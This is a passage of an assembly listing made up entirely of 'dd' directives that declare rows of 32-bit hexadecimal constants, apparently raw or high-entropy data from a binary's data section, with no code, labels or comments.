		dd 1D5643h, 49CC1403h, 0FDC3C0A4h, 64A52700h, 0AEB57ED8h
		dd 0B074B01Eh, 6E25004Eh, 3B093F26h, 0B30E45B4h, 2039DB1Ch
		dd 8DE671AEh, 795F4835h, 0C059961Dh, 97049ADCh,	1D00C480h
		dd 0D4B7D1D7h, 88D501h,	0E845EE6Ah, 3039465Ch, 80A01C3Bh
		dd 0D831C996h, 0EE2071Eh, 1A94C641h, 0D7E59780h, 2400DA11h
		dd 64A3E00Ch, 12A6623h,	10814085h, 0E406F475h, 9A000843h
		dd 0D52B3011h, 14B7150h, 0F077C1FFh, 30F7594Eh,	0A503CCD7h
		dd 0F1D562F5h, 76A6D072h, 0E9CE4F8h, 0ECB14269h, 7DB9BFE0h
		dd 0F9005EC7h, 0BB773CF1h, 3BD652h, 5A6BBE60h, 6E0C4F26h
		dd 64009E71h, 65EF94D2h, 46BDB4h, 0D4F2286Fh, 9711E72Fh
		dd 0B0355D00h, 0B38967FBh, 967894h, 6EDC1F0Eh, 536612C1h
		dd 0EB7C0507h, 0BCE181A4h, 28809F03h, 0A8F542E2h, 51002AC8h
		dd 0A1185A2Bh, 0D54640h, 0F4ECC021h, 2AEBCA73h,	22CBB600h
		dd 0A54D818Fh, 5AA30032h, 603820D4h, 823CB8E8h,	0D62380E7h
		dd 0A604B199h, 3B7A00E2h, 0F0FF86D3h, 0E90165AAh, 6735DDF3h
		dd 220040E8h, 0E300EB28h, 1C2492C1h, 8BFA76h, 0D5705B25h
		dd 6CC68EE8h, 748535Ch,	45AE819Ah, 5EFA4A0h, 80E80062h
		dd 9997F148h, 201C6EA3h, 0C4809FE6h, 283DEB84h,	0A085008Bh
		dd 3253F23Ah, 0E6A0B71Ah, 453EB0CFh, 300800E4h,	17838FDDh
		dd 1D460057h, 29A06B34h, 0E50015FAh, 0A1EF14FDh, 4530A9h
		dd 0BDF79059h, 0CB8E3B0Bh, 898B0C0Eh, 0D21A007h, 2AC7A2Eh
		dd 0DC614BD8h, 0FDE0C93Fh, 0EF0B9265h, 808F44F3h, 0AEA1D2FBh
		dd 0ADA001AFh, 3082BB13h, 0E7C2E435h, 0CB700600h, 60D59C52h
		dd 8F2303EFh, 0C51F4E92h, 70BEE0F0h, 2AE69300h,	44FE1767h
		dd 39BD007Fh, 0CE108331h, 0EF01CB09h, 0A718C6EDh, 95404B7Ah
		dd 0C716636h, 0E12237A8h, 6C0E1A20h, 601513BCh,	2DA7F2Ch
		dd 0A1660987h, 2E0153E0h, 0C4EB2282h, 3C00322Fh, 0BBBD6738h
		dd 28AD237Fh, 0F8EC89h,	980F37FEh, 0BA72B0E3h, 0C8EB0100h
		dd 0B53A9C6Bh, 0EC1D0054h, 0FE7D09DAh, 0F80089A5h, 0B90DBF79h
		dd 0EE27CEE9h, 75780FC1h, 0E381E5D5h, 0D0BE37B5h, 1F00F67Eh
		dd 5935609Dh, 73C0CDE1h, 2CF3F847h, 1DB0681Ah, 2E2D4051h
		dd 80258FFDh, 0C6E73E00h, 0F0A7D67Eh, 45B200BCh, 48140A1Ah
		dd 0E8A0B5ABh, 0DFEE6963h, 0B7A23300h, 67804474h, 0A4011212h
		dd 1D381CECh, 4745002Bh, 0B60E6346h, 0AFE65F00h, 54C40F5h
		dd 0F6580061h, 9728BB19h, 0A207B2C5h, 1BC4B726h, 0F3ED5EE1h
		dd 82B9C0DFh, 7F709044h, 0DCBC0084h, 0F9765647h, 0F3000310h
		dd 372BCF9Bh, 0F38B1A4h, 2FB5C495h, 0C520514Eh,	4AE1EE9Dh
		dd 0F371EA07h, 26A0177Ch, 3D1CD6h, 0DBD28CC9h, 962AEA5h
		dd 102739h, 5D1D22DAh, 0E2A4825h, 34D82859h, 18140C60h
		dd 92381A3Dh, 0D3980115h, 8D0D9C32h, 4CE3C6CCh,	5B006365h
		dd 0AA0ECD45h, 0E049AE20h, 36447A4Ch, 0BA8607C9h, 0E0E22CC7h
		dd 2B011560h, 0B5223A06h, 0B22569h, 0F1054558h,	852732A0h
		dd 50918230h, 90E99E5Fh, 37880018h, 0FDC2C4E5h,	8F765665h
		dd 0F0A2D601h, 3FBC3DCDh, 6C72C0h, 0B8F9D41Eh, 0D732B11h
		dd 7B69EB1Dh, 0A7781940h, 0BA9998h, 9C77A93Ah, 8FD5748Dh
		dd 41ADE401h, 0FD281102h, 4746CCh, 209B2B71h, 91445A0h
		dd 0DF4B9103h, 0DF01885Fh, 0FAE2DCF3h, 0C59260DDh, 0CCFA000Bh
		dd 0BC6E6250h, 0BF3EB9CFh, 0BAB6805Ch, 0A7A8020Ch, 558000C4h
		dd 9E0D4BE5h, 8618DE42h, 0F3FE0B77h, 0CAE6009Dh, 2F67D68Fh
		dd 0F10089A1h, 7011FF1Eh, 9A0E71h, 0A38D2DC8h, 0E3A7551Ah
		dd 0CDA2B58h, 104C7079h, 0C901328h, 5EC900CBh, 0DCF7AA9Dh
		dd 0D9EE4600h, 116923CFh, 3B13014Fh, 0B5EA3C84h, 0CC75DD50h
		dd 913D3A58h, 76280099h, 347CF0BBh, 0C27E02F2h,	0E6D3C7C0h
		dd 4F47D880h, 0D4E45896h, 7A003378h, 3E44CE2h, 9040D784h
		dd 0B8D0C2DCh, 0E07D37A3h, 7CDFEEh, 89A8CAFh, 25D1E101h
		dd 77914100h, 3A3B74FBh, 72580F36h, 5420FF7Dh, 97E32E7Ah
		dd 490391EAh, 5BC39C93h, 0C0C9ABDAh, 8B7DA5h, 470F2CD0h
		dd 2A94F29Ah, 5F056600h, 0A6865D6Bh, 7CE240h, 0E491EB73h
		dd 0FDF58064h, 0E95F9F01h, 1C193242h, 39DC9D21h, 377D4Eh
		dd 91EC01D1h, 56F382A9h, 235F0300h, 0E099D0Fh, 0E6C5000Dh
		dd 5AA15E59h, 3A00F88Ch
		dd 0E146588Bh, 1D3C8914h, 4053AC7Fh, 5275E27Bh,	4300046Eh
		dd 0BC9B274Fh, 108C34h,	9EEA8251h, 0DBB0D259h, 0A5C14700h
		dd 98450BCAh, 104860E6h, 139EDEB3h, 0C4428000h,	0E766611Fh
		dd 0B110001Ah, 25C7CE95h, 212C4AE2h, 0FE00A6BDh, 514144F9h
		dd 6A5E001Eh, 30BE4785h, 0DD007E4Ah, 2DA4B1B8h,	0A05DD86Eh
		dd 9BA5FFh, 0DBC3EFF9h,	798592FAh, 7D4B1803h, 80D408BCh
		dd 1CEC42h, 0D09CC1ABh,	1C9E127h, 0A91D1A0Fh, 209EE375h
		dd 3DA1F8A4h, 423007Dh,	0BE1E6252h, 1008584h, 1934937Ah
		dd 0BA27EFh, 0E47C702Ah, 91BE5C5Dh, 3200A17Ah, 6CA791Eh
		dd 497AB4h, 9B0C8111h, 8653EC27h, 15AA6700h, 0B029DAE1h
		dd 38E000B1h, 23107DBFh, 0DB07BE44h, 964D141h, 72D26D20h
		dd 0B093005Ah, 99F1A494h, 0EB148C50h, 3ECC328Fh, 8C982485h
		dd 244C6F00h, 0BFD817h,	93458D92h, 13DAFA30h, 193A59E4h
		dd 0C4E487ECh, 89E0955Dh, 39F54817h, 853C07ABh,	26050075h
		dd 0ED54C9BBh, 99036203h, 36F1175Ch, 29103C79h,	571F9A00h
		dd 0B8C2FD14h, 0AC788570h, 0E5B18F09h, 95DB8070h, 0C0AF65h
		dd 0C98D5820h, 0BEE784CBh, 1EBD1400h, 8173E6F5h, 55FA1C1Ch
		dd 66E0408Fh, 859B5603h, 0C009A40Ch, 7F58A0h, 3B8A2E83h
		dd 0FA77ED25h, 380772E6h, 0B9AB7076h, 0EC29AD06h, 547709A2h
		dd 582F3507h, 6CA46F81h, 3A86E08Ah, 0AFF8700h, 9E78624Ch
		dd 82B00DCh, 29CF0CC1h,	321D82C5h, 0DD00DA39h, 265A04DBh
		dd 0E27E21h, 0B36B09F7h, 54A48160h, 2D9B6A00h, 421D9D06h
		dd 8E5C0011h, 1C071892h, 50F9CE32h, 0E02E75CCh,	129A0901h
		dd 3C6C4ABh, 0E7861880h, 0D583429Fh, 0A076250Fh, 26FE002Bh
		dd 0FEA9590h, 7940968h,	0C0891A00h, 0DA00457Ah,	6658244Dh
		dd 0F859FB2h, 73238695h, 558B7649h, 0A184AD08h,	44837104h
		dd 0AC046B18h, 0A620054h, 67985DF8h, 0BDE23965h, 0C9E3B40Eh
		dd 0E2A26091h, 0E7AC31h, 0CA78D507h, 89E8C485h,	0B40C8FE0h
		dd 503D9690h, 0C8BD381Eh, 8E0B6B80h, 0F5136307h, 8CC0B700h
		dd 0E503644Eh, 26110095h, 48407F0Ah, 9D53CA0Fh,	41128220h
		dd 0CE1B18EEh, 401FF871h, 850FEA20h, 0C9B11CC9h, 31E8F23Fh
		dd 398F0FB3h, 6705324Ah, 0D5080F3Bh, 0B42F7D0Eh, 53F10200h
		dd 1E065035h, 95B53FB9h, 1837628h, 0E263390Ch, 0FB8E56AFh
		dd 8480C6DAh, 9210F235h, 900CB279h, 89782F8Bh, 15030CD5h
		dd 0F728AACFh, 0CDE5F31Ah, 0F2B41068h, 5B770035h, 0A56DE395h
		dd 331FF011h, 5306031Bh, 0F8616E66h, 0B1CE6040h, 0E77DFA2Eh
		dd 802010D0h, 42C4A543h, 3CFD23EAh, 0B2AEB8E1h,	0A502561Ch
		dd 3B2346D1h, 0BC423E39h, 0F0F8C0D9h, 40AF2F4Bh, 2893B008h
		dd 94FB1028h, 8A501296h, 20054020h, 3A8078BAh, 6287B2CAh
		dd 8FE55923h, 71450F7Eh, 0F8BD2A81h, 701C2004h,	514D348h
		dd 369D1F63h, 0A1092020h, 500808B5h, 8FF8759Fh,	6BC2801Ah
		dd 7F7E40B0h, 8010F348h, 11C8F10Eh, 0A1B70271h,	0CE41993Fh
		dd 90524B27h, 342E11E3h, 0E752EFECh, 0CB610220h, 3EA2014Eh
		dd 0CBC23243h, 0B8617822h, 0B39AF03Fh, 4F8920A5h, 0E03C05DFh
		dd 0FB612040h, 0E3EB1EE6h, 0A7987024h, 0D3D70820h, 0DA800253h
		dd 0B93B0576h, 0CC6B213Eh, 401B04Ah, 0AC4AA3B1h, 9FF3151Fh
		dd 0FB718020h, 2B5FC9DBh, 6240A269h, 20947CCFh,	532BA37Eh
		dd 92C26011h, 2C080BBh,	4830FA42h, 400BDCCDh, 0F023BE10h
		dd 79A78B4Fh, 33A34C80h, 2F039F3Eh, 75FAC907h, 8E0AC18Fh
		dd 9021A6E4h, 13C00738h, 89EF3710h, 0C0201088h,	0CF3D195Bh
		dd 0C4FB8523h, 0B8C03DEBh, 0C0BA2B53h, 24E76240h, 7861051Ch
		dd 3FC90DE4h, 33851C20h, 9E1D3285h, 423F4078h, 34788020h
		dd 57B35E0Fh, 0F784202Bh, 44D383Ah, 9E6A61B4h, 0A53378E6h
		dd 50578140h, 1FDDF044h, 8FC34F3Eh, 9ABA8575h, 404B6078h
		dd 0E518FC25h, 7F288C51h, 0F15A13E7h, 43A8273Ah, 36D9BBA5h
		dd 0FC840A19h, 60C8CAA8h, 172BE940h, 0C8034712h, 28605AF0h
		dd 3AFE78FBh, 0F4C23947h, 6E38B3E5h, 0A46F0CA5h, 3BC084D6h
		dd 98847D46h, 3D4628A9h, 23790DA5h, 0C8E63844h,	0A608E80h
		dd 5D3EA4FEh, 0AF8CF020h, 530140ACh, 0BC3050A5h, 341F394Fh
		dd 68C04180h, 8891A01Fh, 0B942D1B3h, 83A1CF8Eh,	0AE040F1h
		dd 2914AB84h, 1BF24082h, 815FE3Fh, 7470153Bh, 497A11F0h
		dd 96A7F279h, 1172FC40h, 0F27E2689h, 0A2096A3h,	4D967BC1h
		dd 4BD7F140h, 4F8D0560h, 40780667h, 27818793h, 7463FBCEh
		dd 93F221Fh, 0A2C3E7ACh, 94BB7440h, 0D00CCB3h, 0E5194FF1h
		dd 0C5AB4784h, 0EC8ABCFEh, 4A024C4Ch, 0A227E9ABh, 0C4C2213Eh
		dd 0B4734E04h, 328C3602h, 7213486Eh, 882B56A5h,	80C2273Eh
		dd 0F7334ECh, 0C0132301h, 208A23E7h, 88C05951h,	1140AF5Dh
		dd 0A388487Fh, 0E89CCCBAh, 0B9070857h, 2CF80314h, 0C10899E4h
		dd 3274938Dh, 9268B1A8h, 99818833h, 0A6C0DAAh, 28932085h
		dd 31C0B20h, 0E2E30F5Ch, 114A8E4h, 0C5A6D87Fh, 1F38EF1Fh
		dd 0B3E43808h, 0D24DE05Bh, 60A68Eh, 588373DAh, 0B8794B5Dh
		dd 0E74ED20Fh, 9790004Dh, 0F83111h, 13B40FE1h, 4B2BC4FDh
		dd 46ED981Dh, 20CF2BFEh, 0D3F05690h, 354204C2h,	11652A2h
		dd 1D59B407h, 1F4AB34Fh, 0DD605A21h, 2BDCB287h,	0C44008A1h
		dd 5062C9Eh, 0DDFEF287h, 0E7207866h, 0BA4EE023h, 0E3638701h
		dd 1F4C05BEh, 7080A234h, 3D748A20h, 85402957h, 202830E6h
		dd 8E9F1584h, 2AE24043h, 9BD90116h, 0F506A4C8h,	0AE101F4Eh
		dd 0B409A031h, 3F5B1021h, 521AA84Fh, 1C80601Bh,	4B5E085Ch
		dd 315E8A8Fh, 0E5B85320h, 40AF103Ah, 8031620Ah,	48699C70h
		dd 0B2AC8033h, 168120A5h, 620C4E5Eh, 0E0B6211Fh, 36378AE8h
		dd 0BA1140AFh, 0DB007438h, 364E3253h, 0BE7460AFh, 5400677Ch
		dd 0DC2C2D43h, 72DD5D55h, 0F2A8308Dh, 0F3F04951h, 0E35C40h
		dd 4656CA57h, 43866267h, 4E1D477Ch, 0B80053D8h,	0E1F3A619h
		dd 0ABD23CBBh, 0C11F5822h, 0CE05F461h, 2027C893h, 133C3544h
		dd 5D596201h, 30699DD7h, 0CAB5F883h, 597C6B10h,	7C5C1120h
		dd 42EC31BBh, 0F935D718h, 78B50044h, 217A07CFh,	0DCECD23Ch
		dd 604FE78h, 0AE0CE5DFh, 3819D083h, 88D08838h, 0D99F1F62h
		dd 3280BF37h, 1C0EF650h, 5B00CCF1h, 2C148B20h, 0F4E1B5h
		dd 0BCF579AAh, 61DA544Ah, 0ADD1BE1Dh, 2F10B028h, 0FD18B95Ch
		dd 0F962E8E5h, 7AE4B800h, 1FEE5542h, 413B05D2h,	3537D45Ah
		dd 0A5C0ABC8h, 0F1B6A8ACh, 0D2612083h, 6803FE32h, 4EE36CF8h
		dd 0ED07CC07h, 33EAC037h, 0BF0095B2h, 7619A44Ch, 1C8531C4h
		dd 434E6EDEh, 0C28758E3h, 15DA800Ah, 9D80F0F6h,	761A4B26h
		dd 6C4F0020h, 2DDA961h,	0FE1D66D4h, 18410D2Ah, 4C4DD187h
		dd 90237081h, 0F47086B5h, 2505A749h, 0DD3CCC52h, 0BDD7A420h
		dd 0E46250D9h, 0C42313ABh, 9B800536h, 0C0C05DCAh, 0A5B59208h
		dd 4DF20E37h, 6DA4F8C0h, 0EAB97EC1h, 0FA7A3EBAh, 36315430h
		dd 450FD9D4h, 105906A7h, 821F0F7Ch, 51AF432Ch, 113B6019h
		dd 8045D2C9h, 367A5C43h, 1D52B3DDh, 1816CF88h, 3CC0A086h
		dd 5169D030h, 5006BACBh, 0A9A6B4C2h, 402087E4h,	3BA8016Ch
		dd 2D32CF08h, 0B7A82056h, 0A8A5C2E8h, 49CF99D0h, 830A08C6h
		dd 0DC24AAh, 0A787D036h, 0F8C20E15h, 0A056DA53h, 79889380h
		dd 60FC905Dh, 1EBDF943h
		dd 3B0020CFh, 0A299C478h, 0A6F7342h, 53140AD2h,	4B9303D0h
		dd 0E100B9F2h, 0ECDCF6B2h, 30859E6Fh, 9D18AC23h, 0BF0F67A1h
		dd 8C9B3555h, 557B6147h, 0CFFDC85Ch, 7FEEE040h,	0B82B6173h
		dd 8161E501h, 0FF0BBF20h, 0A19E828Fh, 77508083h, 848B6660h
		dd 0DE7F170Ah, 0FF006035h, 364961BFh, 0F0CF523Ch, 0D4F9C907h
		dd 0C233E7C7h, 0D491B9D9h, 9091A051h, 0AE349270h, 8EE002h
		dd 0C1460078h, 0D5418EF8h, 0F0A0FBA2h, 4804EB66h, 0B6B7DA27h
		dd 0D3200C83h, 42DEE02Ch, 39D6FC0Ah, 6860B953h,	0CBE589EDh
		dd 8C22B808h, 0DC4701E4h, 4854DB4Ch, 37020988h,	6A3D4DE6h
		dd 49586033h, 704449DAh, 48FB0F50h, 51862491h, 3E017829h
		dd 0D23F8385h, 0D89F3CE5h, 46691214h, 614B1E00h, 1605E109h
		dd 393401B8h, 0E2E1DE19h, 2FEB424h, 9A615F77h, 1468BDE5h
		dd 0D118975Dh, 3610B792h, 3F537802h, 0F84E86h, 74963F80h
		dd 1DF48AE2h, 0E5D95009h, 0B834031Ch, 7675C029h, 0E12A19ABh
		dd 2035F054h, 6040964Ch, 4DD710A8h, 5A186219h, 1F051062h
		dd 619E2184h, 4418D908h, 0A3024FA2h, 0E05A0CC2h, 6FB7A53h
		dd 6D1B494h, 0E39B816h,	0E18C5066h, 738D351Dh, 2B390884h
		dd 65D2E481h, 7DAFF447h, 6A0B695h, 5036D1E7h, 8718CEE8h
		dd 0AADA89F0h, 0D1828D8h, 7B250131h, 0B24E06ACh, 0F0E60FD3h
		dd 104B7CA1h, 6FC52AA7h, 83031855h, 0F10078D1h,	0B1B0D002h
		dd 5201546Fh, 0CA8624E1h, 0AA0519AEh, 4D325B2Ah, 24D1A847h
		dd 9DCF8EB8h, 3030487Ah, 7108F4B3h, 8A690161h, 880651Ah
		dd 8462792Ah, 34BD1120h, 2948CA8Ch, 5D721404h, 85575088h
		dd 44907D24h, 0DA146701h, 2074E98Dh, 0D0541811h, 3B9589ADh
		dd 0ACFF809h, 4BF0003Ah, 9432D3AFh, 0E3C90108h,	0FEDBD2B5h
		dd 1B136440h, 3C0DD129h, 4AB87684h, 6291A427h, 1D9931B9h
		dd 11304BFAh, 841A8279h, 1D330763h, 0B71261F4h,	9047790Ch
		dd 8EF45310h, 268531A5h, 8E784A20h, 0B86123Ch, 24251D04h
		dd 6180A62h, 9203054h, 5A8058E7h, 0FDECA14Ch, 0B26A6C4Ch
		dd 2C1880ECh, 30CD894Eh, 0A920B7F8h, 8EDA0206h,	0A10D854Dh
		dd 3ABD6090h, 8911F842h, 1AC685AFh, 31029C31h, 0BD218718h
		dd 0CEA91158h, 44548832h, 429584F5h, 0F383653Ch, 0A21C3111h
		dd 149C2E53h, 843C300Ah, 0E650B883h, 9AD0652Ah,	0A30598DCh
		dd 96381178h, 288785E7h, 3881F432h, 58A961FAh, 3DF45C89h
		dd 11943153h, 8A82B379h, 0E21006B1h, 8F218C1Dh,	43FD8841h
		dd 3C062C97h, 80C1C0A9h, 0A833A318h, 8C440154h,	228658FAh
		dd 0A305A83Dh, 9FEE16CEh, 183CAC0Ah, 53A0DA04h,	48ABF121h
		dd 6093D96Ch, 0C2A80108h, 3E18512Ah, 428A8FE7h,	0FA88182Fh
		dd 4896F830h, 32422B86h, 14AB0A9Ch, 0C4916F84h,	393230EEh
		dd 0D5D90813h, 4942FD48h, 225230AFh, 0A3BB6C91h, 0B6CF0AE7h
		dd 46AD883Ch, 4AB4FEC1h, 788E4908h, 23F242E9h, 60FE93B9h
		dd 4EE0E780h, 0B88F1086h, 3CB98A58h, 43FC269h, 0A888ED3Ch
		dd 49E0983Eh, 77AEC05h,	0E2283035h, 0B46330F2h,	0D3008398h
		dd 72E02D15h, 0F0A2B8h,	2A06312Ch, 0C035B1EEh, 8FE2FF0Ch
		dd 398102Bh, 0D5FD1EA6h, 300063BEh, 7B46D3Fh, 0F6AD49ACh
		dd 0F7C0F37h, 65EC32Ch,	60D4A6A2h, 22868BE6h, 63C25BEh
		dd 308D18A0h, 2BAB90h, 185E5DB2h, 0B7EBC73Fh, 0A449BA00h
		dd 0AB71D6D1h, 137203ADh, 9BA23190h, 7D517804h,	934436F1h
		dd 5CC46106h, 2446AE0Ch, 7AC7CD08h, 0A6643B07h,	96792CF0h
		dd 37DA0098h, 52B914Fh,	7C608531h, 0D8B6C3A0h, 3F98009Ch
		dd 4EDB1A0Ah, 0F10FB193h, 87A3EBBCh, 5FA0B224h,	18A9D6D0h
		dd 5060D125h, 6C3221ACh, 0B0A3D86Eh, 4D1CF24h, 58F1962Dh
		dd 621521C6h, 0DBA9309Dh, 18219935h, 58251529h,	37480F10h
		dd 80FF4024h, 0B4129E07h, 3D652031h, 0FAAC570Ah, 1831A005h
		dd 0FD003F87h, 1D0198ADh, 0C9363D74h, 12F02B97h, 1C9A22Ch
		dd 98B278A8h, 25295980h, 535E5F83h, 9463D929h, 0B01F168Ah
		dd 0F3047023h, 0E8044BB3h, 21B400ECh, 0C03E5ED9h, 8A1D8780h
		dd 91C5A531h, 84408CF1h, 0FD1591B4h, 0E4D8504Dh, 99AA01BAh
		dd 1CD6D5CCh, 318C705Eh, 3828B630h, 3C6A707h, 0DFB7EA80h
		dd 0B9E2EF16h, 153A9CA7h, 6CC459Dh, 90A82001h, 0A4A622B3h
		dd 0EC553344h, 64621D7Eh, 0FAB6C4B4h, 2934866Eh, 19593F00h
		dd 0AE6529FDh, 2BE07A2h, 0D0171D10h, 6B78D499h,	0E0535D31h
		dd 19D52D29h, 228A3DCh,	472FA64Dh, 6808967Ah, 6DFD1B81h
		dd 5184B8A4h, 4329247Eh, 0CD1BAB4h, 282D1BC1h, 3800B279h
		dd 1C3D9002h, 78BB53B1h, 22082835h, 78F1508h, 2F04B440h
		dd 80AFC5ACh, 0B3AE32D4h, 1A182960h, 9081B084h,	0DA64050Ch
		dd 433CACC0h, 0A8BD28E0h, 0F9022FD3h, 0CB74020Ah, 2430AA90h
		dd 0EC5CA64Eh, 16361961h, 4D1F78EBh, 75E01894h,	0ACBD58h
		dd 521F9084h, 0A2275BB6h, 0BC508348h, 4900B37h,	0E0287646h
		dd 0AC1102C8h, 0E40A7005h, 9B010C20h, 25320ECEh, 0A08194ACh
		dd 5131BBA1h, 48E0200Dh, 32518290h, 72D7E318h, 0B4A72587h
		dd 2271A0F6h, 300494C4h, 0D6DAB04Eh, 395278C0h,	1D0871AEh
		dd 400D35E4h, 75ADC129h, 1470D17Dh, 3360100Eh, 0FDDF40FFh
		dd 285FDA31h, 0F414F471h, 0FF531F34h, 0BB1F21F8h, 5B92B507h
		dd 0EA7266C0h, 78290007h, 0D42B31B1h, 40C040F9h, 90ED79F2h
		dd 869E0069h, 26F18FCEh, 390708E3h, 993CE8EFh, 332C7C3h
		dd 6EC66398h, 1000D131h, 0F106FC9Eh, 0C1F3A4DFh, 8A78C428h
		dd 8340827Eh, 40410EAh,	0D91AF046h, 2B3953F8h, 0B2E8CBCFh
		dd 142EF90Ch, 0C21E1CE9h, 40F05258h, 9FEA87h, 0C46FF2B4h
		dd 15ADB63h, 869A0903h,	33B7F40h, 9CFA7D51h, 0D8E0A31Ah
		dd 10D87CEFh, 0E481BA29h, 0C1A86331h, 628346E8h, 70CFEDB8h
		dd 0D9678FF8h, 21C77DB1h, 2E009EE4h, 3E9CC1E7h,	32A99CA3h
		dd 282C5383h, 5CD9F4E0h, 73C46654h, 0E411AD03h,	0E6DA1760h
		dd 6F81F871h, 780241FAh, 24900F1Ch, 2AE461E6h, 346CC105h
		dd 4841B22Eh, 0F8E97175h, 69CEA040h, 49516078h,	0D99484AEh
		dd 66209005h, 3020E37Fh, 607D2C39h, 37F1B9ECh, 0E28E334h
		dd 4B020808h, 682D8991h, 2EBC80A8h, 65B08EDEh, 20804830h
		dd 790D7898h, 0DCBEE91Fh, 0C6AD4106h, 875400D9h, 97E657Ch
		dd 2C031DF1h, 35DB56B9h, 8569012Eh, 0CEE6700Fh,	3A118106h
		dd 0FCACD79Eh, 63383200h, 0D8CB2003h, 0F93C33h,	879B89B0h
		dd 4214C7ACh, 71D6E237h, 564A7F30h, 889492D8h, 1C4E5734h
		dd 165433h, 905B0534h, 38914349h, 2BC25D81h, 0BDF5F54Eh
		dd 0E00C0827h, 7448F21Ch, 0B6142A14h, 62AB0388h, 0E0318806h
		dd 12340294h, 42A467CFh, 0B9A54E58h, 574A8300h,	390C40B2h
		dd 58CEBB28h, 6F52B03h,	963B355h, 72D85B38h, 0E9A3A403h
		dd 92A28C6h, 7D77204Eh,	0C4AF4618h, 17C5BE9h, 0A1B6B597h
		dd 508E8FD7h, 0F63C16D0h, 7BC4020Fh, 0A8D28ADEh, 80067D9Ah
		dd 135CF07Fh, 78336246h, 10802EF6h, 0ACA5364Ah,	6C6BA14h
		dd 41DF3AA4h, 0F1DA5DE0h, 2010E846h, 0FF505CE7h, 2BF0B610h
		dd 11C0DBEEh, 0B15FE4E9h, 4231DDF4h, 0F1162BE0h, 5FDB4820h
		dd 2728A181h, 8863902h,	5E225011h, 0E0A80A08h, 8CC8495Fh
		dd 0B2B93E14h, 662F7C05h, 0B0406E78h, 0A476C13h, 7F20C32Ah
		dd 0B91D78Eh, 87108133h
		dd 98FD68FAh, 4381430h,	10B1BB7Dh, 0BD883DEh, 80D6810Fh
		dd 330E60D7h, 477702h, 2D9FAC3Ch, 1F555A08h, 20DC8C51h
		dd 0DE5015B0h, 0E09E2F8h, 0A35B7F6Ah, 0A845AF88h, 0DF2A88h
		dd 19236F01h, 0CF2F6BE5h, 7470574Dh, 0BED47609h, 0F8500077h
		dd 241E07DCh, 1270465Fh, 4A7C4336h, 91FFD18Fh, 42717F08h
		dd 36208CF8h, 98649CF0h, 0D283004Ch, 0AC09D199h, 5030FFF4h
		dd 8F5A1865h, 70F928E2h, 0D1E79E0h, 1F0182Dh, 6623CAB0h
		dd 40711288h, 98342287h, 0F48FA040h, 417D9030h,	244172CDh
		dd 4594C5E2h, 0BBD4400Fh, 93D3699Ah, 60131B24h,	0EC24503Dh
		dd 0C805E800h, 4F764AF1h, 759C9A34h, 0A86363DAh, 49002AC2h
		dd 40E192ADh, 90DB5E77h, 7600080h, 26586686h, 752CFDECh
		dd 0E4840CEDh, 68D6F62Bh, 0D3812218h, 51023230h, 74673493h
		dd 690F74CEh, 0C001E992h, 0BCAB69B8h, 0FF6A10C9h, 20621450h
		dd 0C41DEDA1h, 0DF80114Ch, 35E099C6h, 0E10641F4h, 0F05C20EEh
		dd 20D708A1h, 0F144209Ch, 50D9783Dh, 0C8A310B9h, 94A0F340h
		dd 167ED3Ch, 6C7E9087h,	0F043B330h, 7D893BF7h, 0F452B16h
		dd 0A3E466E0h, 0F0E8D379h, 97743801h, 0ED5C2B7Ah, 0EE70C40h
		dd 38D26E8Eh, 112660Eh,	58D129FBh, 4D188C8Dh, 0C67AB867h
		dd 710314A9h, 3AF883Ch,	0BDE24440h, 0E33815F9h,	31009893h
		dd 0CCAF9E02h, 4314FA47h, 775C885Eh, 95FEB490h,	0F42CC490h
		dd 55081CE4h, 66323C2Bh, 10847610h, 0BB450650h,	0D2D83C11h
		dd 31346119h, 0B050B99Bh, 0F611102Fh, 1BC70293h, 0F3D045C2h
		dd 50083CC1h, 0A9CD74DCh, 2EDCB4Ch, 7F694198h, 0F16C4090h
		dd 1516C4A4h, 0DAA4D088h, 8B8181Ch, 75544000h, 8E05DC6Fh
		dd 0B13A042Fh, 5EC63B44h, 0EF0AA31Eh, 0AD80A007h, 0DF677650h
		dd 0CCDE0728h, 0BBE07223h, 95EDDC21h, 0C3A320B2h, 0BC25BB09h
		dd 40440EDAh, 0AF4D229Eh, 0A30F0102h, 0F43B72F5h, 2C6452C1h
		dd 0DA10AD20h, 88301ECFh, 7569C41Eh, 0F808026Ch, 0DE404113h
		dd 0D9A9F451h, 130429F0h, 45F20B45h, 389C5D88h,	7F162878h
		dd 7C097107h, 0E55407DBh, 5FD1388h, 89D2B80h, 0AB11C808h
		dd 3187140Dh, 4BFC6060h, 6FE1FD1Fh, 544A0322h, 0B2D7FF41h
		dd 856081BCh, 76F510CAh, 49476A6Bh, 2AA83030h, 0E16F3BD3h
		dd 10D8F41h, 5E2F5D05h,	0BC5AC34h, 0FF5B99A9h, 9FD83482h
		dd 40F3A460h, 589486FCh, 7F42D823h, 7A9E00EAh, 40007341h
		dd 4EB33824h, 9534210h,	8A64550Eh, 68F58400h, 38758223h
		dd 0F2574304h, 70A0D935h, 9C0A51D4h, 4200DC33h,	0BC9420F5h
		dd 2B62671Ah, 0CBF66610h, 0A370051Ch, 0D97C43A7h, 1C81D22Ch
		dd 0F7A85BC7h, 4A233999h, 62867CA8h, 0CE051075h, 8C1CD8C2h
		dd 7F2BA702h, 91E38447h, 31D205E8h, 5F19F62Eh, 5056202Dh
		dd 0CD24F009h, 5369442Eh, 0E5B6002h, 201198C9h,	62656FB8h
		dd 0E441F380h, 360A49DDh, 4768051h, 30453502h, 0F47D08h
		dd 3DC9570Dh, 0F001FF53h, 342BD354h, 25E805DFh,	99863912h
		dd 0DA5BB705h, 0A1C8126Bh, 7B9C5802h, 0E6BC7047h, 1A690160h
		dd 2E3E1380h, 49E8FA3Ah, 2622B800h, 31E41E1h, 0BCE9DC88h
		dd 0EDD30501h, 0B21130E0h, 0A569D899h, 0C7757615h, 0A2AA01A8h
		dd 37FCEA80h, 7CC38444h, 0F4A4F43Ah, 0A30A21DDh, 80C48D09h
		dd 6A09556Ch, 7874A376h, 0E47A139Ah, 647C20CDh,	35501A5Dh
		dd 7C01F9BCh, 0D9A7C18Eh, 9C513EBBh, 22E055F8h,	4982615Ch
		dd 506BE0D1h, 8F83B5DCh, 0F100AB79h, 380FEB78h,	1E0A234Bh
		dd 0E3B491h, 0BC93A7C5h, 76007034h, 43E1EC77h, 9838F33Ch
		dd 0F8C24CE0h, 2910B08Dh, 0FB297878h, 931808D2h, 802BB220h
		dd 0CE05B816h, 3EAD4168h, 0E7FFD890h, 0D12A0C5Ch, 7A39FD8Fh
		dd 6EAB4200h, 6621EAE4h, 0C94F6178h, 171568F6h,	81ACA580h
